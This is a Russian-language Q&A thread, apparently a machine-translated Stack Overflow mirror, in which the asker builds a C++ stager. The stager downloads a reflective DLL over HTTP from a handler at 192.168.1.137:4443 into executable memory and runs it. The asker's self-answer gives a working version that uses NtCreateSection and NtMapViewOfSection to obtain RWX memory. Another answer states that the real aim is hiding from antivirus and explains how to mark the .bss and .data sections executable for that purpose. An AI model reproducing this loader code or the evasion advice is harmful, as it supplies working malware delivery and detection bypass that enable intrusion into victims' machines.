Проблемы с распределением памяти с использованием NTAllocateVirtualMemory и GetProcAddress не работают - PullRequest
0 голосов
/ 18 июня 2020

Я пытаюсь написать небольшую программу, которая использует NTAllocateVirtualMemory и GetProcAddress вместо VirtualAllo c.

Это то, что у меня сейчас:

#include "pch.h"
#include "windows.h"
#include <iostream>
#include "Memoryapi.h"
#include <wininet.h>
#include <string>
#include "HTTP_Requests.h" 

using namespace std;

typedef NTSTATUS(NTAPI *NtAllocVirtualMemoryFunc) (HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);

int main()
{
    NtAllocVirtualMemoryFunc NtAllocateVirtualMemory = (NtAllocVirtualMemoryFunc)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
    int Port = 4443;
    std::string handler = "192.168.1.137";
    std::string URI = "CMZO3LLeroANhAyGU2zSsAIz5jz5vBzoX-GgHdghJK_em-WmpzDG35R3OZlriGNbYZaXnBKQmbx51akG5L1K_ANOjpS7-l-buPeeyixDroY9K1bNb3VaaH2HOyl9S5iOg7uH7jmEwP0fot303PtTZOmIO5C92BuBB5QO_wHvKRFy6QT24kHAupIIx7BQ8VUaUoj4lLt576CKo";
    std::string UA = "Mozilla/5.0 (Windows NT 6.1; rv:11.0)";
    std::string method = "GET";
    void* payload = { 0 };
    SIZE_T size = 4194304;
    NtAllocateVirtualMemory(GetCurrentProcess(), &payload, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE | PAGE_READWRITE);
    HttpRequest(handler, URI, UA, Port, method, (char*)payload);
    ((void(*)())payload)();
}

Кажется, что после вызов NtAllocateVirtualMemory, переменная полезной нагрузки не указывает на выделение памяти и по-прежнему имеет значение nullptr из того, что я могу сказать в отладчике. Я не получал никаких ошибок или исключений ...

Суть программы в том, что она должна получить файл через HTTP, поместить его в выделенный буфер памяти и запустить (это отражающая DLL, которая является будет записан в буфер). Я знаю, что файл DLL был отправлен обработчиком в это приложение.

Следующие действия работают, но мне нужно сделать это с помощью NTAllocateVirtualMemory:

#include "pch.h"
#include "windows.h"
#include <iostream>
#include "Memoryapi.h"
#include <wininet.h>
#include <string>
#include "HTTP_Requests.h" 

using namespace std;

typedef NTSTATUS(NTAPI *NtAllocVirtualMemoryFunc) (HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);

int main()
{
    //NtAllocVirtualMemoryFunc NtAllocateVirtualMemory = (NtAllocVirtualMemoryFunc)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
    int Port = 4443;
    std::string handler = "192.168.1.137";
    std::string URI = "yEwWxn1DIjxVi1SJC2BImQrzdFIr9qfwOB1VB75cnCFHuJQoYA7Sgwxdb";
    std::string UA = "Mozilla/5.0 (Windows NT 6.1; rv:11.0)";
    std::string method = "GET";
    //void* payload = { 0 };
    //SIZE_T size = 4194304;
    //NtAllocateVirtualMemory(GetCurrentProcess(), &payload, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE | PAGE_READWRITE);
    //HttpRequest(handler, URI, UA, Port, method, (char*)payload);
    char* buf = (char*)VirtualAlloc(0, (4 * 1024 * 1024), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    //HttpRequest(handler, URI, UA, Port, method, payload);
    HttpRequest(handler, URI, UA, Port, method, buf);
    //((void(*)())payload)();
    ((void(*)())buf)();
}

Ответы [ 2 ]

0 голосов
/ 18 июня 2020

Это то, что я в итоге сделал, что очень похоже на то, что @Adler предложил выше:

#include "pch.h"
#include "windows.h"
#include <iostream>
#include "Memoryapi.h"
#include <wininet.h>
#include <string>
#include "HTTP_Requests.h"

typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR  Buffer; } UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID;
using myNtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL);
using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);

using namespace std;

int main()
{
    myNtCreateSection fNtCreateSection = (myNtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection"));
    myNtMapViewOfSection fNtMapViewOfSection = (myNtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection"));
    SIZE_T size = 4194304;
    LARGE_INTEGER sectionSize = { size };
    HANDLE sectionHandle = NULL;
    PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
    fNtCreateSection(&sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
    fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READWRITE);
    int Port = 4443;
    std::string handler = "192.168.1.137";
    std::string URI = "yEwWxn1DIjxVi1SJC2BImQrzdFIr9qfwOB1VB75cnCFHuJQoYA7Sgwxdb";
    std::string UA = "Mozilla/5.0 (Windows NT 6.1; rv:11.0)";
    std::string method = "GET";
    HttpRequest(handler, URI, UA, Port, method, (char*)localSectionAddress);
    ((void(*)())localSectionAddress)();
}

Похоже, вы не можете установить разрешения RWX с Windows 8.1 или выше для Функция NtAllocateVirtualMemory: ссылка

Эта статья, казалось, предполагала, что это так, поэтому я ввел меня в заблуждение, заставив попробовать: ссылка

0 голосов
/ 18 июня 2020

Поскольку ваша настоящая проблема заключается в том, чтобы спрятаться от антивируса, я бы предложил использовать буфер c stati.

Сделать разделы данных исполняемыми (в Visual Studio)

Укажите Project->Properties->Linker->Specify Section Attributes.

Для неинициализированных данных

неинициализированные по-прежнему инициализированы нулем

/* global or static*/ char buf[20000];

укажите .bss,RWE

(который это наверное то, что вам нужно)

Для инициализированных данных

/* global or static*/ char buf[20000]{1};

укажите .data,RWE

Оба

укажите Linker->Command Line->Additional Options как /SECTION:.bss,RWE /SECTION:.data,RWE

...